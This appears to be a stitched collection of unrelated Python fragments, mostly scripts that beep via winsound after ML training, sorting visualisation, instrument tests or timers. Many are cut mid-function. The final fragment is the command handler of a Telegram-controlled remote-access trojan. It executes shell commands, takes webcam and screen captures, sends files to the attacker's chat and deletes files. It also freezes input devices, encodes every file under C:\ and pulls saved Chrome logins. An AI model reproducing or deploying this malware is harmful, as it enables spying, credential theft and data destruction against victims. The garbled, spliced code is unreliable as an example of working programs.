# - 指标（metric）：在训练过程和测试过程中需要监控的指标，下面这个例子中使用精度（即正确分类的图像所占的比例）
network.compile(optimizer = 'rmsprop', loss = 'categorical_crossentropy', metrics = ['accuracy'])
# 图像数据预处理，将二维图片数据转换为一维数据，再将数据归一化
# train_images = train_images.reshape((60000, 28 * 28)).astype('float32') / 255
# test_images = test_images.reshape((10000, 28 * 28)).astype('float32') / 255
train_images = train_images.reshape((60000, 28 * 28)) / 255.
test_images = test_images.reshape((10000, 28 * 28)) / 255.
# 准备标签（对标签进行分类编码）
from keras.utils import to_categorical
train_labels = to_categorical(train_labels)
test_labels = to_categorical(test_labels)
# 训练网络
network.fit(train_images, train_labels, epochs = 5, batch_size = 128)
test_loss, test_acc = network.evaluate(test_images, test_labels)
print("test_loss:", test_loss)
print('test_acc:', test_acc)
# train_loss, train_acc = network.fit(train_images, train_labels, epochs = 5, batch_size = 128)
# print('train_loss:', train_loss)
# print("train_acc:", train_acc)
# 运行结束的提醒
winsound.Beep(600, 500)
if len(plt.get_fignums()) != 0:
plt.show()
pass
model.add(Dense(50, activation='softplus'))
model.add(Dense(1))
model.compile(loss='mean_squared_error', optimizer='adamax')
return model
# fix random seed for reproducibility
seed = 20
numpy.random.seed(seed)
# evaluate model with standardized dataset
estimator = KerasRegressor(build_fn=baseline_model, epochs=200, batch_size=3, verbose=0)
KFold(n_splits=12, random_state=seed)
estimator.fit(x_train, y_train)
prediction = estimator.predict(x_test)
print(r2_score(y_test, prediction))
duration = 1000 # milliseconds
freq = 600 # Hz
winsound.Beep(freq, duration)
"""
def baseline_model_NHUF():
# create model
model = Sequential()
model.add(Dense(9, input_dim=6, activation='relu'))
model.add(Dense(1))
model.compile(loss='mean_squared_error', optimizer='adamax')
return model
x_train_NHUF, x_test_NHUF, y_train_NHUF, y_test_NHUF = train_test_split(degerler, Nuf, test_size=0.10, random_state=3)
# fix random seed for reproducibility
seed = 20
numpy.random.seed(seed)
# evaluate model with standardized dataset
estimator = KerasRegressor(build_fn=baseline_model_NHUF, epochs=200, batch_size=4, verbose=0)
import winsound freaquency = 2500 duration = 9000 winsound.Beep(freaquency, duration)
def beepsound():
fr = 800 # range : 37 ~ 32767
du = 500 # 1000 ms ==1second
sd.Beep(fr, du) # winsound.Beep(frequency, duration)
import winsound
print("369 게임 시작")
n = 1
while n <= 50:
if n % 3 == 0 or "3" in str(n):
print("박수")
winsound.Beep(500, 300)
else:
print(n)
n += 1
print("게임 끝.")
for key in memo:
csv_list = memo[key]
lang = key.split('-')[1]
header = ['English_Filename', lang + '_Filename']
df = pd.DataFrame(csv_list)
filename = month + "-" + year + "-" + key + ".csv"
if (not os.path.exists(filename)):
df.to_csv(path_parallel_csv + month + "-" + key + ".csv",
index=False,
header=header,
mode='a')
else:
df.to_csv(path_parallel_csv + month + "-" + key + ".csv",
index=False,
header=False,
mode='a')
end = time.time()
if __name__ == "__main__":
driver = get_driver()
dri = get_driver()
populate_data(driver, dri, 'All', 'December', '2019')
winsound.Beep(2500, 100)
draw = False
clock.tick(fps)
screen.fill((0,0,0))
# bubble
for ipass in range(len(data)):
for i in range(len(data)-1-ipass):
if step == frame_count:
if data[i] > data[i+1]:
tmp = data[i]
tmp_i = i
if enable_sound:
winsound.Beep(int(np.interp(tmp, [0,data_max], [5000,8000])), 100) # this func blocks the thread :(
data[i] = data[i+1]
data[i+1] = tmp
step += 1
elif step < frame_count and done is False:
done = True
tmp_i = -1
print("Sorted",data)
for i,pt in enumerate(data):
pygame.draw.rect(screen,(0,255,0) if i == tmp_i else (255,0,0),(gap*i+x_offset,y_offset-pt,10,pt))
pygame.display.flip()
detectport.parity = 'N'
detectport.bytesize = 8
detectport.stopbits = 1
detectport.timeout = 0.6
detectport.open()
detectport.setDTR(True)
detectport.setRTS(True)
while(1):
if detectport.inWaiting()>0:
data = detectport.readall()
data = str(data,encoding = "utf-8")
print(data)
if data == 'detect ready\n':
time.sleep(1)
cmd = 'ST1E'
print(cmd)
detectport.write(bytes(cmd,encoding = "utf-8"))
if((data.find('SBQE')!=-1) or (data.find('SDE')!=-1)):
#time.sleep(1)
cmd = 'SR1E'
print(cmd)
detectport.write(bytes(cmd,encoding = "utf-8"))
if(data.find('SXE')!=-1):
winsound.Beep(3000,1000)
cmd = input("error! please input cmd:")
detectport.write(bytes(cmd,encoding = "utf-8"))
#
# image.save(join(testdatasetpath, "pic_" + str(i) + ".png"))
#
pathtodataset = "../../../silentcam/dataset40/"
from LogTimes import TimingsTot
t = TimingsTot(pathtodataset + "rgb_time_logfile.log")
avg = AvgRGB_savememory(pathtodataset)
avg.gather_pictures_names()
t.log("Loaded names")
avg.load_algs()
t.log("Loaded aligments")
avg.align_images(debug = True)
t.log("Aligned Images")
avg.average(mode = "Mean", aligned = True, debug = True)
t.log("Averaged Images")
avg.save_avg()
import winsound
Freq = 2500 # Set Frequency To 2500 Hertz
Dur = 1000 # Set Duration To 1000 ms == 1 second
winsound.Beep(Freq,Dur)
if decision == True:
t_fin = t_now + dt.timedelta(0, t_pom + Ldelta_sec)
else:
t_fin = t_now + dt.timedelta(0, t_pom + Sdelta_sec)
elif t_fut <= t_now <= t_fin:
print('Break time!')
#Pomodoro and break finished. Check if ready for another pomodoo!
else:
print('Third tnow > tfut - Finished')
# Ring a bell (with print('\a') to alert of end of program.
print('\a')
# Annoy!
for i in range(10):
winsound.Beep((i + 100), 500)
usr_ans = messagebox.askyesno(
"Pomodoro Finished!", "Would you like to start another pomodoro?")
#usr_ans = input("Timer has finished. \nWould you like to start another pomodoro? \nY/N: ")
total_pomodoros += 1
if usr_ans == True:
# user wants another pomodoro! Update values to indicate new timeset.
t_now = dt.datetime.now()
t_fut = t_now + dt.timedelta(0, t_pom)
t_con = t_now + dt.timedelta(0, t_pom + condelta_sec * 2)
continue
elif usr_ans == False:
print(
f'Pomodoro timer complete! \nYou have completed {total_pomodoros} pomodoros today.'
)
import winsound winsound.Beep(440, 1000)
def LMxE(worker,
lock,
collect_obs,
collect_examples,
episod_counter,
step_counter,
executor_model,
internal_step_counter_best,
executor_counter,
args):
# Set Parameters
executors_n = args["executors_n"]
max_episodes = args["max_episodes"]
env_name = args["env_name"]
state_n = args["state_n"]
action_n = args["action_n"]
common_layers_n = args["common_layers_n"]
value_layers_n = args["value_layers_n"]
policy_layers_n = args["policy_layers_n"]
batch_size = args["batch_size"]
lr_alpha = args["lr_alpha"]
lr_alpha_power = args["lr_alpha_power"]
lr_alpha_limit = args["lr_alpha_limit"]
prob_advarse_state_initial = args["prob_advarse_state_initial"]
prob_advarse_state_type_multiplier = args["prob_advarse_state_type_multiplier"]
internal_step_counter_limit = args["internal_step_counter_limit"]
experience_batch_size = args["experience_batch_size"]
reward_negative = args["reward_negative"]
model_alignment_frequency = args["model_alignment_frequency"]
minimum_model_update_frequency = args["minimum_model_update_frequency"]
# Assign EXECUTOR to all workers
if worker >= 0:
time_start = time.time()
print("Starting E:", worker)
# Establish Environment
env = gym.make(env_name).unwrapped #unwrapped to access the behind the scenes elements of the environment
# Define A3C Model for Executors
inputs_executor = tf.keras.Input(shape=(state_n,))
common_network_executor = Dense(common_layers_n[0], activation='relu')(inputs_executor)
common_network_executor = Dense(common_layers_n[1], activation='relu')(common_network_executor)
common_network_executor = Dense(common_layers_n[2], activation='relu')(common_network_executor)
policy_network_executor = Dense(policy_layers_n[0], activation='relu')(common_network_executor)
policy_network_executor = Dense(policy_layers_n[1], activation='relu')(policy_network_executor)
policy_network_executor = Dense(policy_layers_n[2], activation='relu')(policy_network_executor)
value_network_executor = Dense(value_layers_n[0], activation='relu')(common_network_executor)
value_network_executor = Dense(value_layers_n[1], activation='relu')(value_network_executor)
value_network_executor = Dense(value_layers_n[2], activation='relu')(value_network_executor)
logits_executor = Dense(action_n)(policy_network_executor)
values_executor = Dense(1)(value_network_executor)
model_executor = Model(inputs=inputs_executor, outputs=[values_executor, logits_executor])
# Define A3C Models for Learners
if worker == 0: #
# Define BASE Model - Target
inputs_base = tf.keras.Input(shape=(state_n,))
common_network_base = Dense(common_layers_n[0], activation='relu',name="1")(inputs_base)
common_network_base = Dense(common_layers_n[1], activation='relu',name="2")(common_network_base)
common_network_base = Dense(common_layers_n[2], activation='relu',name="3")(common_network_base)
policy_network_base = Dense(policy_layers_n[0], activation='relu',name="7")(common_network_base)
policy_network_base = Dense(policy_layers_n[1], activation='relu',name="8")(policy_network_base)
policy_network_base = Dense(policy_layers_n[2], activation='relu',name="9")(policy_network_base)
value_network_base = Dense(value_layers_n[0], activation='relu',name="4")(common_network_base)
value_network_base = Dense(value_layers_n[1], activation='relu',name="5")(value_network_base)
value_network_base = Dense(value_layers_n[2], activation='relu',name="6")(value_network_base)
values_base = Dense(1,name="10")(value_network_base)
logits_base = Dense(action_n,name="11")(policy_network_base)
model_base = Model(inputs=inputs_base, outputs=[values_base, logits_base])
# Define MAIN Model - Trainable Model
inputs_main = tf.keras.Input(shape=(state_n,))
common_network_main = Dense(common_layers_n[0], activation='relu')(inputs_main)
common_network_main = Dense(common_layers_n[1], activation='relu')(common_network_main)
common_network_main = Dense(common_layers_n[2], activation='relu')(common_network_main)
policy_network_main = Dense(policy_layers_n[0], activation='relu')(common_network_main)
policy_network_main = Dense(policy_layers_n[1], activation='relu')(policy_network_main)
policy_network_main = Dense(policy_layers_n[2], activation='relu')(policy_network_main)
value_network_main = Dense(value_layers_n[0], activation='relu')(common_network_main)
value_network_main = Dense(value_layers_n[1], activation='relu')(value_network_main)
value_network_main = Dense(value_layers_n[2], activation='relu')(value_network_main)
logits_main = Dense(action_n)(policy_network_main)
values_main = Dense(1)(value_network_main)
model_main = Model(inputs=inputs_main, outputs=[values_main, logits_main])
# Define Optimizer
optimizer = tfa.optimizers.RectifiedAdam(lr_alpha)
lock.acquire()
executor_model.append(model_main.get_weights()) # the first call MUST be append to create the entry [0]
print("Saved Model", worker, len(executor_model))
lock.release()
memory_buffer = np.full(state_n+4,0.0)
counter_learninig = 0
while episod_counter.value < max_episodes:
# Load Model
if len(executor_model) > 0:
lock.acquire()
model_weights = executor_model[0]
lock.release()
model_executor.set_weights(model_weights)
# Collect Examples & Save them in the Central Observation Repository
current_state = env.reset()
# ENSURE EXPLORATION OF advarse STATES
if episod_counter.value <= 1:
prob_advarse_state = prob_advarse_state_initial
else:
prob_advarse_state = np.clip(prob_advarse_state_initial/math.log(episod_counter.value,5), 0.05, 0.2)
prob_random_state = 1-prob_advarse_state*4
# CartPole position_start:
# 0: Close to the Left Edge
# 1: Close to the Right Edge
# 2: Normal, random start (env.restart())
# 3: Leaning Heavilly to the Left
# 4: Leaning Heavilly to the Right
# Choose one of the 5 scenarios with probabilities defined in p=()
pos_start = np.random.choice(5,p=(prob_advarse_state+prob_advarse_state_type_multiplier*prob_advarse_state,
prob_advarse_state+prob_advarse_state_type_multiplier*prob_advarse_state,
prob_random_state,
prob_advarse_state-prob_advarse_state_type_multiplier*prob_advarse_state,
prob_advarse_state-prob_advarse_state_type_multiplier*prob_advarse_state))
if pos_start == 0 or pos_start == 5:
current_state[0] = -1.5 # -2.4 MIN
if pos_start == 1 or pos_start == 6:
current_state[0] = 1.5 # -2.4 MAX
if pos_start == 3:
current_state[2] = -0.150 #-0.0.20943951023931953 MIN
if pos_start == 4:
current_state[2] = 0.150 #0.0.20943951023931953 MAX
env.state = current_state
# Custom State Representation Adjustment to help agent learn to be closer to the center
current_state = np.append(current_state,current_state[0]*current_state[0])
observations = np.empty(state_n+3)
done = False
internal_step_counter = 0
while done == False and internal_step_counter <= internal_step_counter_limit:
values, logits = model_executor(tf.convert_to_tensor(np.array(np.expand_dims(current_state,axis=0)), dtype=tf.float32))
stochastic_action_probabilities = tf.nn.softmax(logits)
action = np.random.choice(action_n, p=stochastic_action_probabilities.numpy()[0])
next_state, reward, done, info = env.step(action)
next_state = np.append(next_state,next_state[0]*next_state[0])
# Add desired-behaviour incentive to the reward function
R_pos = 1*(1-np.abs(next_state[0])/2.4) # 2.4 max value ### !!! in documentation it says 4.8 but failes beyound 2.4
R_ang = 1*(1-np.abs(next_state[2])/0.20943951023931953) ### !!! in documentation it says 0.418 max value
reward = reward + R_pos + R_ang
# Custom Fail Reward to speed up Learning of conseqences of being in advarse position
if done == True:
reward = reward_negative # ST Original -1
current_observation = np.append(current_state,(reward, done, action))
observations = np.vstack((observations, current_observation))
current_state = next_state
internal_step_counter += 1
if internal_step_counter == 1:
observations = observations[1:]
if done == True or internal_step_counter == internal_step_counter_limit:
observations = observations[-np.minimum(observations.shape[0], 256):]
exp_len = observations.shape[0]
exp_indices = np.array(range(exp_len)) + 1
rewards = np.flip(observations[:,5])
discounted_rewards = np.empty(exp_len)
reward_sum = 0
if observations[-1,-2] == 0:
observations[-1,-2] = 2
gamma = np.full(exp_len, 0.99)
else:
#print("exp_indices", exp_indices)
gamma = np.clip(0.0379 * np.log(exp_indices-1) + 0.7983, 0.5, 0.99)
if observations[-1,-2] == 1:
gamma[0] = 1
for step in range(exp_len):
reward_sum = rewards[step] + gamma[step]*reward_sum
discounted_rewards[step] = reward_sum
discounted_rewards = np.flip(discounted_rewards)
observations = np.hstack((observations,np.expand_dims(discounted_rewards, axis = 1)))
lock.acquire()
collect_obs.put(observations)
lock.release()
observations = np.empty(state_n+3)
# Update Counters to Track Progress
lock.acquire()
episod_counter.value += 1
lock.release()
lock.acquire()
executor_counter.value += 1
lock.release()
print("Ending Executor:", worker, "Episod", episod_counter.value, "Initial State", pos_start, "Steps:", internal_step_counter)
if internal_step_counter > internal_step_counter_best.value:
internal_step_counter_best.value = internal_step_counter
print("############################## BEST EPISOD LENGTH:", internal_step_counter, "Executor:", worker)
if internal_step_counter_best.value >= 50000:
print("\nREACHED GOAL of 50K Steps in", internal_step_counter, "steps; Learning Iterations (Not Available); in",time.time()-time_start, "seconds \n")
for i in range(10):
winsound.Beep(500,500)
# Assign MEMORIZER to worker 0
if worker == 0:
while executor_counter.value < executors_n: # Starting Condition -- Allow to generate first traing example
pass
while collect_obs.qsize() > 0:
#lock.acquire()
exp_temp = collect_obs.get()
#lock.release()
memory_buffer = np.vstack((memory_buffer,exp_temp))
memory_buffer = memory_buffer[-np.minimum(memory_buffer.shape[0],experience_batch_size*executors_n):,:]
batch_size_min = np.minimum(batch_size,memory_buffer.shape[0])
runs = memory_buffer.shape[0] // np.minimum(memory_buffer.shape[0],batch_size_min) + 1
#minimum_model_update_frequency = np.minimum(minimum_model_update_frequency + 16,256)
runs = np.maximum(minimum_model_update_frequency, runs)
for i in range(runs):
sample_index = np.random.choice(memory_buffer.shape[0],np.minimum(memory_buffer.shape[0],batch_size_min),replace=False)
sample = memory_buffer[sample_index, :]
#lock.acquire()
collect_examples.put(sample)
#lock.release()
#"""
# Assign LEARNER to worker 0
# Adjust Monotonically Decreasing Learning Rate
#lock.acquire()
next_lr_alpha = lr_alpha*np.power(lr_alpha_power,episod_counter.value * 1)
#lock.release()
if next_lr_alpha < lr_alpha_limit:
next_lr_alpha = lr_alpha_limit
optimizer.learning_rate = next_lr_alpha
#"""
# Initialize LEARNER
while collect_examples.qsize() > 0: # and episod_counter.value < max_episodes:
#lock.acquire()
example = collect_examples.get()
#lock.release()
"""
# Adjust Monotonically Decreasing Learning Rate
next_lr_alpha = lr_alpha*np.power(lr_alpha_power,counter_learninig)
if next_lr_alpha < lr_alpha_limit:
next_lr_alpha = lr_alpha_limit
optimizer.learning_rate = next_lr_alpha
"""
with tf.GradientTape() as tape:
values, logits = model_base(tf.convert_to_tensor(example[:,:5], dtype=tf.float32))
advantage = tf.convert_to_tensor(np.expand_dims(example[:,-1],axis=1), dtype=tf.float32) - values
value_loss = advantage ** 2 # this is a term to be minimized in trainig
policy = tf.nn.softmax(logits)
entropy = tf.reshape(tf.nn.softmax_cross_entropy_with_logits(labels=policy, logits=logits), [-1,1])
policy_loss = tf.reshape(tf.nn.sparse_softmax_cross_entropy_with_logits(labels=list(example[:,-2].astype(int)), logits=logits), [-1,1])
policy_loss *= tf.stop_gradient(advantage) # advantage will be exluded from computation of the gradient; thsi allows to treat the values as constants
policy_loss -= 0.01 * entropy # entropy adjustment for better exploration
total_loss = tf.reduce_mean((0.5 * value_loss + policy_loss))
grads = tape.gradient(total_loss, model_base.trainable_weights)
optimizer.apply_gradients(zip(grads, model_main.trainable_weights))
counter_learninig += 1
model_base.set_weights(model_main.get_weights()) ### the THREADED IMPLEMENTATION IS SYNCHRONIZED AT EACH STEP!!!
#lock.acquire()
executor_model[0] = model_main.get_weights()
#lock.release()
#if counter_learninig % model_alignment_frequency == 0:
model_base.set_weights(model_main.get_weights())
#lock.acquire()
executor_counter.value = 0
#lock.release()
print("LEARINING ITERATION:", counter_learninig,"\n")
if worker > 0:
while executor_counter.value > 0:
pass
print("FINAL EPISODE -- Best Episod Length:", internal_step_counter_best.value)
print("Ending L:", worker)
print("Ending Worker:", worker)
for i in range(10):
winsound.Beep(1500,1500)
def music():
for i in range(5):
winsound.Beep(300, 100)
winsound.Beep(300, 100)
winsound.Beep(300, 100)
winsound.Beep(800, 100)
def alertSound(sec):
for _ in range(sec):
winsound.Beep(800, 500)
winsound.Beep(1000, 500)
return ident
else: return ids[0]
########################################################################################################################################
#url = "http://odoradita.com:8069"
#db = "test3_CADASA_main"
url = "http://localhost:8069"
db = "t14_CADASA_03"
username = '******'
password = "******"
max_registros = 501
###################################
import winsound
freq = 2500 # Set frequency To 2500 Hertz
dur = 1000 # Set duration To 1000 ms == 1 second
print("Beep:", winsound.Beep(freq, dur))
#Para DOS/Windows
os.system ("cls")
print("INICIANDO RUTINA DE SINCRONIZACION DE GUIAS")
common = xmlrpc.client.ServerProxy('{}/xmlrpc/2/common'.format(url))
print("common version: ")
print(common.version())
#User Identifier
uid = common.authenticate(db, username, password, {})
print("uid: ",uid)
# Calliing methods
models = xmlrpc.client.ServerProxy('{}/xmlrpc/2/object'.format(url))
models.execute_kw(db, uid, password,
'res.partner', 'check_access_rights',
# Skip some of the starting bytes
byte = file.read(500)
while byte != b"":
# Keep reading every byte
byte = file.read(1)
# Calculate the frequency we will be playing
hz = byte[0] * step
# Show every value on one continuous line
print(hz, end=' ', flush=True)
if hz == 0: # Keep silent when value is zero
sleep(beep_duration / 1000)
else: # Play the current byte
winsound.Beep(int(hz) + beep_offset, beep_duration)
if __name__ == "__main__": # Only if our file is executed directly
print(f"Playing '{file_name}'")
# Play two beeps to acknowledge start
winsound.Beep(440, 300)
sleep(0.1)
winsound.Beep(440, 800)
try:
main()
except KeyboardInterrupt: # Intercept Ctrl+C
pass
finally:
# Aknowledge end with a long beep
winsound.Beep(440, 1000)
# ----------------------------------------------------------------------
if __name__ == '__main__':
# 参数说明：
# model_type = "Bidirectional+LSTM" # Bidirectional+LSTM：双向 LSTM
# model_type = "Conv1D" # Conv1D：1 维卷积神经网络
# model_type = "Conv1D+LSTM" # Conv1D+LSTM：1 维卷积神经网络 + LSTM
# model_type = "GlobalMaxPooling1D" # GlobalMaxPooling1D：1 维全局池化层
# model_type = "GlobalMaxPooling1D+MLP" # GlobalMaxPooling1D+MLP：1 维全局池化层 + 多层感知机
# model_type = "LSTM" # LSTM：循环神经网络
# model_type = "MLP" # MLP：多层感知机
# ----------------------------------------------------------------------
# 定义全局通用变量
file_name = '../../data/tf_idf/train_data_all_tf_idf_v.csv'
model_type = 'Conv1D'
RMSProp_lr = 5e-04
epochs = 10
batch_size = 256
# ----------------------------------------------------------------------
# 定义全局定制变量
max_len = 128 # 64:803109，128:882952 个用户；64：1983350，128：2329077 个素材
embedding_size = 32
creative_id_window = creative_id_step_size * 1
creative_id_begin = creative_id_step_size * 0
creative_id_end = creative_id_begin + creative_id_window
# 运行训练程序
main()
# 运行结束的提醒
winsound.Beep(900, 500)
winsound.Beep(600, 1000)
def readfun(f):
ret = pandas.read_csv(f, index_col=False)
winsound.Beep(2500, 300)
return ret
def _do_play(track):
for freq, ms in track:
winsound.Beep(freq, ms)
def Warnning_Beep(self, flag):
while self.a:
if (1 == flag):
winsound.Beep(600, 500)
def main():
slave_addr = 0x23 # I2C slave address
userdefinedir = "TDC_TOT_Scan_Step=2ps_PulseStrobe_0x03"
## Creat a directory named path with date of today
today = datetime.date.today()
todaystr = today.isoformat() + "_Standalone_TDC_Test_Results"
try:
os.mkdir(todaystr)
print("Directory %s was created!" % todaystr)
except FileExistsError:
print("Directory %s already exists!" % todaystr)
userdefine_dir = todaystr + "./%s" % userdefinedir
try:
os.mkdir(userdefine_dir)
except FileExistsError:
print("User define directories already created!!!")
rm = visa.ResourceManager()
print(rm.list_resources())
inst = rm.open_resource('GPIB0::10::INSTR') # connect to SOC
print(inst.query("*IDN?")) # Instrument ID
inst.write(":OUTPut1:STATE ON") # Enable CH1 output
inst.write(":SOURce:FUNCtion1:SHAPe PULSe") # Pulse mode
## setting parameters
Pulse_Strobe = 0x03 # 0x03: 3.125 ns Cal Code
Board_Num = 1 # Board Number
testMode = 0 # 0: nromal mode 1: test mode
polaritySel = 1 # 0: high power mode, 1: low power mode
Total_point = 2 # total fetch data = Total_point * 50000
fetch_data = 1
reg_val = []
ETROC1_TDCReg1 = ETROC1_TDCReg()
## GRO Test Contorl
ETROC1_TDCReg1.set_GRO_Start(1)
ETROC1_TDCReg1.set_GRO_TOA_CK(1)
ETROC1_TDCReg1.set_GRO_TOT_CK(1)
ETROC1_TDCReg1.set_GROout_disCMLDriverBISA(0)
ETROC1_TDCReg1.set_GROout_AmplSel(7)
ETROC1_TDCReg1.set_GRO_TOARST_N(1)
ETROC1_TDCReg1.set_GRO_TOTRST_N(1)
## Clock 40MHz TX output setting
ETROC1_TDCReg1.set_Clk40Mout_AmplSel(7)
ETROC1_TDCReg1.set_Pulse_enableRx(1)
## Data output setting
ETROC1_TDCReg1.set_Dataout_AmplSel(7)
ETROC1_TDCReg1.set_Dataout_Sel(1)
## Strobe pulse setting
ETROC1_TDCReg1.set_Pulse_Sel(Pulse_Strobe)
## DMRO setting
ETROC1_TDCReg1.set_DMRO_testMode(0)
ETROC1_TDCReg1.set_DMRO_enable(1) ## enable Scrambler
Enable_FPGA_Descrablber(1) ## Enable FPGA Firmware Descrambler
ETROC1_TDCReg1.set_DMRO_resetn(1)
ETROC1_TDCReg1.set_DMRO_revclk(0)
## TDC setting
ETROC1_TDCReg1.set_TDC_resetn(1)
ETROC1_TDCReg1.set_TDC_testMode(testMode)
ETROC1_TDCReg1.set_TDC_autoReset(0)
ETROC1_TDCReg1.set_TDC_enable(1)
ETROC1_TDCReg1.set_TDC_level(1)
ETROC1_TDCReg1.set_TDCRawData_Sel(0)
ETROC1_TDCReg1.set_TDC_polaritySel(
polaritySel) ## 1: low power mode 0: high power mode
ETROC1_TDCReg1.set_TDC_timeStampMode(0)
reg_val = ETROC1_TDCReg1.get_config_vector()
print("I2C write in data:")
print(reg_val)
for i in range(len(reg_val)):
iic_write(1, slave_addr, 0, i, reg_val[i])
iic_read_val = []
for i in range(len(reg_val)):
iic_read_val += [iic_read(0, slave_addr, 1, i)]
print("I2C read back data:")
print(iic_read_val)
# compare I2C write in data with I2C read back data
if iic_read_val == reg_val:
print("Wrote into data matches with read back data!")
winsound.Beep(1000, 500)
else:
print("Wrote into data doesn't matche with read back data!!!!")
for x in range(3):
winsound.Beep(1000, 500)
readonly_reg = [0x21, 0x22, 0x23, 0x24]
readonly_val = []
for i in range(len(readonly_reg)):
readonly_val += [iic_read(0, slave_addr, 1, readonly_reg[i])]
print(readonly_val)
TOA_Code = (readonly_val[2] & 0x7) << 7 | ((readonly_val[1] >> 1) & 0x7f)
TOT_Code = (readonly_val[1] & 0x1) << 8 | readonly_val[0]
Cal_Code = (readonly_val[3] & 0x1f) << 5 | (readonly_val[2] >> 3) & 0x1f
print("TOA_Code: %d" % TOA_Code)
print("TOT_Code: %d" % TOT_Code)
print("Cal_Code: %d" % Cal_Code)
for m in range(4741, 5225):
width = 0.002 * m
print("TOT width: %.3f" % width)
inst.write(":SOURce:PULSe:WIDTh1 %sns" % width)
time.sleep(0.01)
if fetch_data == 1: # fetch data switch
time_stamp = time.strftime('%m-%d_%H-%M-%S',
time.localtime(time.time()))
filename = "TDC_Data_TOT_Width=%.3fns_TestMode=%d_polaritySel=%d_PulseStrobe=%s_B%d_%s_%s.dat" % (
width, testMode, polaritySel, hex(Pulse_Strobe), Board_Num,
Total_point * 50000, time_stamp)
print(filename)
with open("./%s/%s/%s" % (todaystr, userdefinedir, filename),
'w') as infile:
data_out = [0]
data_out = test_ddr3(
Total_point) # num: The total fetch data num * 50000
print("Start store data......")
for i in range(len(data_out)):
TDC_data = []
for j in range(30):
TDC_data += [((data_out[i] >> j) & 0x1)]
hitFlag = TDC_data[29]
TOT_Code1 = TDC_data[0] << 8 | TDC_data[1] << 7 | TDC_data[
2] << 6 | TDC_data[3] << 5 | TDC_data[
4] << 4 | TDC_data[5] << 3 | TDC_data[
6] << 2 | TDC_data[7] << 1 | TDC_data[8]
TOA_Code1 = TDC_data[9] << 9 | TDC_data[
10] << 8 | TDC_data[11] << 7 | TDC_data[
12] << 6 | TDC_data[13] << 5 | TDC_data[
14] << 4 | TDC_data[15] << 3 | TDC_data[
16] << 2 | TDC_data[17] << 1 | TDC_data[18]
Cal_Code1 = TDC_data[19] << 9 | TDC_data[
20] << 8 | TDC_data[21] << 7 | TDC_data[
22] << 6 | TDC_data[23] << 5 | TDC_data[
24] << 4 | TDC_data[25] << 3 | TDC_data[
26] << 2 | TDC_data[27] << 1 | TDC_data[28]
infile.write("%3d %3d %3d %d\n" %
(TOA_Code1, TOT_Code1, Cal_Code1, hitFlag))
def handle(msg):
chat_id = msg['chat']['id']
if checkchat_id(chat_id):
response = ''
if 'text' in msg:
print('\n\t\tGot message from ' + str(chat_id) + ': ' +
msg['text'] + '\n\n')
command = msg['text']
if command == '/arp':
response = ''
bot.sendChatAction(chat_id, 'typing')
lines = os.popen('arp -a -N ' + internalIP())
for line in lines:
line.replace('\n\n', '\n')
response += line
elif command == '/capture_webcam':
bot.sendChatAction(chat_id, 'typing')
camera = cv2.VideoCapture(0)
while True:
return_value, image = camera.read()
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
cv2.imshow('image', gray)
if cv2.waitKey(1) & 0xFF == ord('s'):
cv2.imwrite('webcam.jpg', image)
break
camera.release()
cv2.destroyAllWindows()
bot.sendChatAction(chat_id, 'upload_photo')
bot.sendDocument(chat_id, open('webcam.jpg', 'rb'))
os.remove('webcam.jpg')
elif command == '/capture_pc':
bot.sendChatAction(chat_id, 'typing')
screenshot = ImageGrab.grab()
screenshot.save('screenshot.jpg')
bot.sendChatAction(chat_id, 'upload_photo')
bot.sendDocument(chat_id, open('screenshot.jpg', 'rb'))
os.remove('screenshot.jpg')
elif command.startswith('/cmd_exec'):
process = Popen(['cmd'], stdin=PIPE, stdout=PIPE)
command = command.replace('/cmd_exec', '')
if len(command) > 1:
process.stdin.write(bytes(command + '\n'))
process.stdin.close()
lines = process.stdout.readlines()
for l in lines:
response += l
else:
response = '/cmd_exec dir'
elif command.startswith('/cd'):
command = command.replace('/cd ', '')
try:
os.chdir(command)
response = os.getcwd() + '>'
except:
response = 'No subfolder matching ' + command
elif command.startswith('/delete'):
command = command.replace('/delete', '')
path_file = command.strip()
try:
os.remove(path_file)
response = 'Succesfully removed file'
except:
try:
os.rmdir(path_file)
response = 'Succesfully removed folder'
except:
try:
shutil.rmtree(path_file)
response = 'Succesfully removed folder and it\'s files'
except:
response = 'File not found'
elif command == '/dns':
bot.sendChatAction(chat_id, 'typing')
lines = os.popen('ipconfig /displaydns')
for line in lines:
line.replace('\n\n', '\n')
response += line
elif command.startswith('/download'):
bot.sendChatAction(chat_id, 'typing')
path_file = command.replace('/download', '')
path_file = path_file[1:]
if path_file == '':
response = '/download C:/path/to/file.name or /download file.name'
else:
bot.sendChatAction(chat_id, 'upload_document')
try:
bot.sendDocument(chat_id, open(path_file, 'rb'))
except:
try:
bot.sendDocument(
chat_id, open(hide_folder + '\\' + path_file))
response = 'Found in hide_folder: ' + hide_folder
except:
response = 'Could not find ' + path_file
elif command.endswith('code_all'):
parentDirectory = 'C:\\'
for root, dirs, files in os.walk(parentDirectory):
for afile in files:
full_path = os.path.join(root, afile)
if command.startswith('/en'):
encode(full_path)
elif command.startswith('/de') and full_path.endswith(
'.nxr'): #our extension (been encoded)
decode(full_path)
response = 'Files ' + command[1:3] + 'coded succesfully.'
elif command.startswith('/cp'):
command = command.replace('/cp', '')
command = command.strip()
if len(command) > 0:
try:
file1 = command.split('"')[1]
file2 = command.split('"')[3]
copyfile(file1, file2)
response = 'Files copied succesfully.'
except Exception as e:
response = 'Error: \n' + str(e)
else:
response = 'Usage: \n/cp "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"'
response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)'
elif command.endswith('freeze_keyboard'):
global keyboardFrozen
keyboardFrozen = not command.startswith('/un')
hookManager.KeyAll = lambda event: not keyboardFrozen
response = 'Keyboard is now '
if keyboardFrozen:
response += 'disabled. To enable, use /unfreeze_keyboard'
else:
response += 'enabled'
elif command.endswith('freeze_mouse'):
global mouseFrozen
mouseFrozen = not command.startswith('/un')
hookManager.MouseAll = lambda event: not mouseFrozen
hookManager.HookMouse()
response = 'Mouse is now '
if mouseFrozen:
response += 'disabled. To enable, use /unfreeze_mouse'
else:
response += 'enabled'
elif command == '/get_chrome':
con = sqlite3.connect(
os.path.expanduser('~') +
r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
)
cursor = con.cursor()
cursor.execute(
"SELECT origin_url,username_value,password_value from logins;"
)
for users in cursor.fetchall():
